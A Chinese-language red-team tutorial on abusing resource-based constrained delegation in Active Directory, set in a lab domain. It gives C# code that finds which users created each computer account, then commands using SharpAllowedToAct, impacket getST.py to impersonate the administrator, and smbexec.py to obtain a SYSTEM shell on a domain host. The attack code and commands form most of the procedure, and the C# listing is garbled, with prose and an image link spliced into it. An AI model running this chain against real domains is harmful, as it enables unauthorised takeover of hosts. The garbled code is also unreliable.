域渗透之基于资源的约束委派
注意:server2012才引入了基于资源的约束委派!!! 无需域管设置相关属性,请求ST的过程与先前的约束委派类似,传统的约束委派S4U2Self返回的票据一定是 可转发的,如果不可转发那么S4U2Proxy将失败;但是基于资源的约束委派不同,就算S4U2Self返回的票据 不可转发(可不可以转发由TrustedToAuthenticationForDelegation决定),S4U2Proxy也是可以成 功,并且S4U2Proxy返回的票据总是可转发 总之需要用户对主机的属性具备写权限
基于资源的约束委派原理
基于资源的约束委派(RBCD)是在Windows Server 2012中新加入的功能,与传统的约束委派相比,它不 再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定 谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置msDSAllowedToActOnBehalfOfOtherIdentity属性来设置RBCD。 这里的关键就是谁可以修改属性
REDTEAM\hack -> WriteProperty(将机器加入域的账号,也就是mS-DS-CreatorSID属性中的账户) NT AUTHORITY\SELF -> WriteProperty(机器账户自身也可以修改) 我们再回顾一个知识点,默认域控的ms-DS-MachineAccountQuota属性设置允许所有域用户向一个域添加 多达10个计算机帐户,就是说只要有一个域凭据就可以在域内任意添加机器账户。这个凭据可以是域内的用户 账户、服务账户、机器账户。
域环境
域管:dc1 10.10.10.142
备用域管:dc2 10.10.10.140
域用户1:12server1 10.10.10.152
域用户2: 12server2 10.10.10.138
资源委派攻击其他域主机获取system权限创建机器主机账号
首先查询域普通用户加入域的机子
cs代码:
![1](C:\Users\lenovo\Desktop\1.png)using System; using System.Security.Principal; using System.DirectoryServices; namespace ConsoleApp9 { class Program { static void Main(string[] args) { DirectoryEntry ldap_conn = new DirectoryEntry("LDAP://dc=redteam,dc=club"); DirectorySearcher search = new DirectorySearcher(ldap_conn); String query = "(&(objectClass=computer))";//查找计算机 search.Filter = query; foreach (SearchResult r in search.FindAll()) { String mS_DS_CreatorSID = ""; String computername = ""; try { computername = r.Properties["dNSHostName"][0].ToString(); mS_DS_CreatorSID = (new SecurityIdentifier((byte[])r.Properties["mS-DS-CreatorSID"][0], 0)).ToString(); //Console.WriteLine("{0} {1}\n", computername, mS_DS_CreatorSID); } catch { ; } //再通过sid找用户名 String UserQuery = "(&(objectClass=user))"; DirectorySearcher search2 = new DirectorySearcher(ldap_conn); 查询到加入域主机的 域用户 使用SharpAllowedToAct修改委派 工具下载 https://github.com/HPVCA/SharpAllowedToAct 获取服务票据 search2.Filter = UserQuery; foreach (SearchResult u in search2.FindAll()) { String user_sid = (new SecurityIdentifier((byte[])u.Properties["objectSid"][0], 0)).ToString(); if (user_sid == mS_DS_CreatorSID) { //Console.WriteLine("debug"); String username = u.Properties["name"][0].ToString(); Console.WriteLine("[*] [{0}] -> creator [{1}]", computername, username); } } } } } }
编译代码生成exe
.\csc /out:D:\ConsoleApp9.exe "C:\Users\lenovo\Desktop\ConsoleApp9.cs"
查询到加入域主机的 域用户
使用SharpAllowedToAct修改委派 工具下载
SharpAllowedToAct.exe -m hack -p pass@123 -t 12server2 -a 10.10.10.142 redteam.club
修改kali配置文件
获取服务票据
python3 getST.py -dc-ip 10.10.10.142 redteam/hack\$:pass@123 -spn cifs/12server2.redteam.club -impersonate administrator
获取域普通主机权限
export KRB5CCNAME=administrator.ccache python3 smbexec.py -no-pass -k 12server2.redteam.club
You complete me